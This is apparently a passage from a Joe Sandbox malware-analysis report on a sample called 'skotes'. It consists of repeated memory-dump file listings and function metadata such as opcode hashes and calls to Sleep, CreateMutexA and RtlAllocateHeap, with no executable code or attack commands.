Associated: 00000001.00000002.1825348418.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825370256.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825432317.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825449154.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825467591.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825599886.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825622380.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825653341.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825675614.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825696124.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825717195.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825794760.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825816403.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825839982.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825861690.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825885099.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825906386.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825927572.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825949356.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825978710.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826007010.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826028435.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826052575.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826074748.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826095025.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826117041.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826139079.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826162033.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826183160.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826202403.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826231134.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826256609.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826277867.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826297535.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826321933.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826341996.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826363477.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826385357.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826408066.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826432289.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826467777.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826489404.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826578103.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826602873.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826623844.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826646381.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826666926.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826692505.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826713452.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826735107.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826756185.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7980c3793cdc9a749e04a6ab976f64ad59088884974346efe0d95def9fc5a1e7
Instruction ID: e204acb74114694fc8204ca690643af4611a57c9f865dad7bd2ace52dc098768
Opcode Fuzzy Hash: 7980c3793cdc9a749e04a6ab976f64ad59088884974346efe0d95def9fc5a1e7
Instruction Fuzzy Hash: 95217C327442019BEB18AFADECD9B6DF765EBD1310F20821FF418973D1C77589918611

Function 009DA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000001.00000002.1825348418.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825370256.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825432317.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825449154.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825467591.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825599886.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825622380.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825653341.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825675614.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825696124.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825717195.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825794760.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825816403.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825839982.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825861690.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825885099.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825906386.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825927572.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825949356.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825978710.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826007010.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826028435.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826052575.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826074748.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826095025.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826117041.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826139079.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826162033.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826183160.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826202403.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826231134.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826256609.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826277867.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826297535.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826321933.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826341996.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826363477.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826385357.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826408066.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826432289.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826467777.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826489404.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826578103.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826602873.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826623844.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826646381.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826666926.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826692505.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826713452.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826735107.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826756185.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 397f631430934647334dc7b2c9d3b782eb5de0048ee3e3cb6a6533c747ab3c2d
Instruction ID: 63c84fd314d8f7ec5b2a0f0376e57076f80cdfc800a84e595b3f991090199ef3
Opcode Fuzzy Hash: 397f631430934647334dc7b2c9d3b782eb5de0048ee3e3cb6a6533c747ab3c2d
Instruction Fuzzy Hash: 60216D313C91019AFB246BED9C9A77DF6569FC1300F20C817F808963D1DB7A89919163

Function 009DA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000001.00000002.1825348418.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825370256.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825432317.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825449154.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825467591.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825599886.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825622380.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825653341.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825675614.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825696124.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825717195.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825794760.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825816403.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825839982.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825861690.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825885099.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825906386.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825927572.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825949356.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825978710.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826007010.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826028435.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826052575.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826074748.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826095025.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826117041.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826139079.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826162033.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826183160.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826202403.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826231134.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826256609.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826277867.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826297535.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826321933.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826341996.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826363477.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826385357.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826408066.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826432289.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826467777.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826489404.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826578103.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826602873.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826623844.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826646381.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826666926.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826692505.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826713452.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826735107.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826756185.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8a18b27d322fc9a99d19116b3be3482262bbd96a26ad72b5186a0392c7f02d5c
Instruction ID: 6ec6f38bf04892a1a3d4ddaaa6aceb0a2af08ebb561b641d3d54cbbaa3dc8e43
Opcode Fuzzy Hash: 8a18b27d322fc9a99d19116b3be3482262bbd96a26ad72b5186a0392c7f02d5c
Instruction Fuzzy Hash: A52179323842019BEB08ABADDC997ADF766EBD1310F24861EF418977D0C7768A908752

Function 00A0D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00A0A813,00000001,00000364,00000006,000000FF,?,00A0EE3F,?,00000004,00000000,?,?), ref: 00A0D871

Memory Dump Source

Source File: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000001.00000002.1825348418.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825370256.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825432317.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825449154.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825467591.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825599886.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825622380.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825653341.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825675614.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825696124.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825717195.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825794760.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825816403.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825839982.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825861690.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825885099.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825906386.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825927572.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825949356.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825978710.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826007010.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826028435.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826052575.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826074748.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826095025.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826117041.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826139079.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826162033.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826183160.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826202403.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826231134.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826256609.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826277867.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826297535.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826321933.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826341996.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826363477.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826385357.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826408066.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826432289.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826467777.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826489404.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826510947.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826578103.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826602873.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826623844.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826646381.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826666926.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826692505.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826713452.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826735107.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826756185.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c0fc8c49d2856667225238e884ef4c91954dcb442e4eb7addcb644e57d750611
Instruction ID: c98d10f1cdc6bd28e5759da9cb5799bdea0c81d5c95ae3aca4ae3a67c4e886b1
Opcode Fuzzy Hash: c0fc8c49d2856667225238e884ef4c91954dcb442e4eb7addcb644e57d750611
Instruction Fuzzy Hash: 8FF0E93390112D66DB216BF2BD01A5B3758DF45370F19C021EC04A71C1DA30EC0885E0

Non-executed Functions

Function 009D2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 009D2F5F
GetCurrentThreadId.KERNEL32 ref: 009D2F7E
__Mtx_unlock.LIBCPMT ref: 009D2FCC
__Cnd_broadcast.LIBCPMT ref: 009D2FE3
__Mtx_unlock.LIBCPMT ref: 009D30F5
GetCurrentThreadId.KERNEL32 ref: 009D3132
__Mtx_unlock.LIBCPMT ref: 009D319B

Memory Dump Source

Source File: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000001.00000002.1825348418.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825370256.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825432317.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825449154.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825467591.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825599886.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825622380.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825653341.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825675614.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825696124.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825717195.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825744630.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825794760.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825816403.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825839982.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825861690.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825885099.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825906386.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825927572.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825949356.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1825978710.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826007010.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826028435.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826052575.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1826074748.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
